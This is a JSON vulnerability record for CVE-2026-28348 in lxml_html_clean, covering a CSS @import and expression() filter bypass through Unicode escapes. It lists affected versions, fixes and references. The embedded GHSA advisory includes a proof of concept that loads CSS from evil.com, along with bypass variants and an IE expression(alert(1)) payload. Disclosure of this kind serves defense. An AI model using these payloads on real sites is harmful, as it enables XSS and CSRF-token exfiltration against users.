{"id":"CVE-2026-28348","aliases":["DEBIAN-CVE-2026-28348","EUVD-2026-9868","GHSA-hw26-mmpg-fqfg","PYSEC-2026-2201","UBUNTU-CVE-2026-28348","openSUSE-SU-2026:10322-1","openSUSE-SU-2026:20345-1"],"status":"published","title":"lxml_html_clean: CSS @import Filter Bypass via Unicode Escapes","description":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00282,"percentile":0.20811,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-116"],"published":"2026-03-02T19:19:15Z","modified":"2026-10-28T02:31:10Z","fixes":[{"ecosystem":"PyPI","package":"lxml-html-clean","fixed_in":["0.4.4"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"lxml","fixed_in":["4.9.2-1+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"lxml","fixed_in":["5.2.0-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"lxml","fixed_in":["5.2.0-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"lxml-html-clean","fixed_in":["0.4.4-1~deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"lxml-html-clean","fixed_in":["0.4.4-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.4.3"},{"fixed":"0.4.4"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.9.2-1+deb12u1"}]}],"versions":["4.9.2-1"]},{"source":"osv","ecosystem":"Debian:13","package":"lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.0-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.2.0-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.4-1~deb13u1"}]}],"versions":["0.4.2-1","0.4.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.4-1"}]}],"versions":["0.4.2-1","0.4.3-1","0.4.4-1~deb13u1"]},{"source":"osv","ecosystem":"PyPI","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.4"}]}],"versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3"]},{"source":"osv","ecosystem":"PyPI","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.4"}]}],"versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.0-0ubuntu1","0.1.1-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.1-1","0.4.2-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.4-1","0.4.5-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.4.2-1","0.4.3-1","0.4.4-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-lxml_html_clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.4-1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-lxml_html_clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.2-bp160.2.1"}]}],"bundled":2}],"products":[{"vendor":"fedora-python","product":"lxml_html_clean"},{"vendor":"fedoralovespython","product":"lxml_html_clean"}],"references":[{"url":"https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-hw26-mmpg-fqfg","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/fedora-python/lxml_html_clean/commit/2ef732667ddbc74ea59847bcf24b75809aaeed3b","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28348","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-hw26-mmpg-fqfg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28348.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-28348","tags":["advisory"]},{"url":"https://github.com/fedora-python/lxml_html_clean","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-28348","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-28348","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28348","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28350","tags":["web"]},{"url":"https://bugzilla.suse.com/1259378","tags":["report"]},{"url":"https://bugzilla.suse.com/1259379","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-28348","title":"lxml_html_clean: CSS @import Filter Bypass via Unicode Escapes","description":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","status":"published","published":"2026-03-05T19:49:26.385Z","modified":"2026-03-06T17:55:36.273Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T14:20:02.290587Z"}],"euvd":[{"id":"EUVD-2026-9868","description":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","status":"published","published":"2026-03-05T19:49:26Z","modified":"2026-03-06T17:55:36Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:48:07.686491Z"}],"ghsa":[{"id":"GHSA-hw26-mmpg-fqfg","title":"lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes","description":"### Summary\nThe `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.\n\n### Details\nThe root cause is located in `clean.py` (around line 594):\n```python\nstyle = style.replace('\\\\', '')\n```\nThis transformation changes a payload like `@\\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\\69mport` as a valid `@import` statement.\n\nSame root cause bypasses `expression()` detection: `\\65xpression(alert(1))` passes through (IE only).\n\n### PoC\n```python\nfrom lxml_html_clean import clean_html\n\n# Normal @import is correctly blocked:\n# clean_html('\u003cstyle\u003e@import url(\"http://evil.com/x.css\");\u003c/style\u003e')\n# Output: \u003cdiv\u003e\u003cstyle\u003e url(\"http://evil.com/x.css\");\u003c/style\u003e\u003c/div\u003e\n\n# Unicode escape bypass:\nresult = clean_html('\u003cstyle\u003e@\\\\69mport url(\"http://evil.com/x.css\");\u003c/style\u003e')\nprint(result)\n# Output: \u003cdiv\u003e\u003cstyle\u003e@\\69mport url(\"http://evil.com/x.css\");\u003c/style\u003e\u003c/div\u003e\n```\nIf rendered in a browser, the browser loads the external CSS. Variants like `@\\0069mport`, `@\\69 mport` (trailing space), and `@\\49mport` (uppercase I) also work.\n\n### Impact\nExternal CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.","status":"published","published":"2026-03-02T19:19:15Z","modified":"2026-03-05T22:49:21Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T14:39:31.060223Z"}],"nvd":[{"id":"CVE-2026-28348","description":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","status":"published","published":"2026-03-05T20:16:16.18Z","modified":"2026-06-17T10:28:27.647Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T14:12:07.852448Z"}],"osv":[{"id":"CVE-2026-28348","title":"lxml_html_clean: CSS @import Filter Bypass via Unicode Escapes","description":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","status":"published","published":"2026-03-05T19:49:26.385Z","modified":"2026-10-28T02:31:10.936193093Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T15:45:00.180685Z"},{"id":"DEBIAN-CVE-2026-28348","description":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","status":"published","published":"2026-03-05T20:16:16.18Z","modified":"2026-10-01T03:03:03.083695858Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-hw26-mmpg-fqfg","title":"lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes","description":"### Summary\nThe `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.\n\n### Details\nThe root cause is located in `clean.py` (around line 594):\n```python\nstyle = style.replace('\\\\', '')\n```\nThis transformation changes a payload like `@\\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\\69mport` as a valid `@import` statement.\n\nSame root cause bypasses `expression()` detection: `\\65xpression(alert(1))` passes through (IE only).\n\n### PoC\n```python\nfrom lxml_html_clean import clean_html\n\n# Normal @import is correctly blocked:\n# clean_html('\u003cstyle\u003e@import url(\"http://evil.com/x.css\");\u003c/style\u003e')\n# Output: \u003cdiv\u003e\u003cstyle\u003e url(\"http://evil.com/x.css\");\u003c/style\u003e\u003c/div\u003e\n\n# Unicode escape bypass:\nresult = clean_html('\u003cstyle\u003e@\\\\69mport url(\"http://evil.com/x.css\");\u003c/style\u003e')\nprint(result)\n# Output: \u003cdiv\u003e\u003cstyle\u003e@\\69mport url(\"http://evil.com/x.css\");\u003c/style\u003e\u003c/div\u003e\n```\nIf rendered in a browser, the browser loads the external CSS. Variants like `@\\0069mport`, `@\\69 mport` (trailing space), and `@\\49mport` (uppercase I) also work.\n\n### Impact\nExternal CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.","status":"published","published":"2026-03-02T19:19:15Z","modified":"2026-09-10T03:50:39.674211658Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-116"],"updated_at":"2026-11-02T15:46:49.621585Z"},{"id":"PYSEC-2026-2201","description":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","status":"published","published":"2026-03-05T20:16:16.18Z","modified":"2026-07-13T07:15:27.789764306Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"UBUNTU-CVE-2026-28348","description":"lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.","status":"published","published":"2026-03-05T20:16:00Z","modified":"2026-10-17T12:58:07.676019271Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:08.726452Z"},{"id":"openSUSE-SU-2026:10322-1","title":"python311-lxml_html_clean-0.4.4-1.1 on GA media","description":"These are all security issues fixed in the python311-lxml_html_clean-0.4.4-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-10T00:00:00Z","modified":"2026-03-23T04:54:40.555864Z","updated_at":"2026-11-02T16:58:38.101535Z"},{"id":"openSUSE-SU-2026:20345-1","title":"Security update for python-lxml_html_clean","description":"This update for python-lxml_html_clean fixes the following issues:\n\nChanges in python-lxml_html_clean:\n\n- CVE-2026-28348: improper keywords checking can allow external CSS loading (bsc#1259378)\n- CVE-2026-28350: lack of base tag handling can allow the hijacking of the resolution of relative URLs (bsc#1259379)\n","status":"published","published":"2026-03-11T18:05:18Z","modified":"2026-03-13T08:57:17.552522Z","updated_at":"2026-11-02T16:58:41.463445Z"}]}}
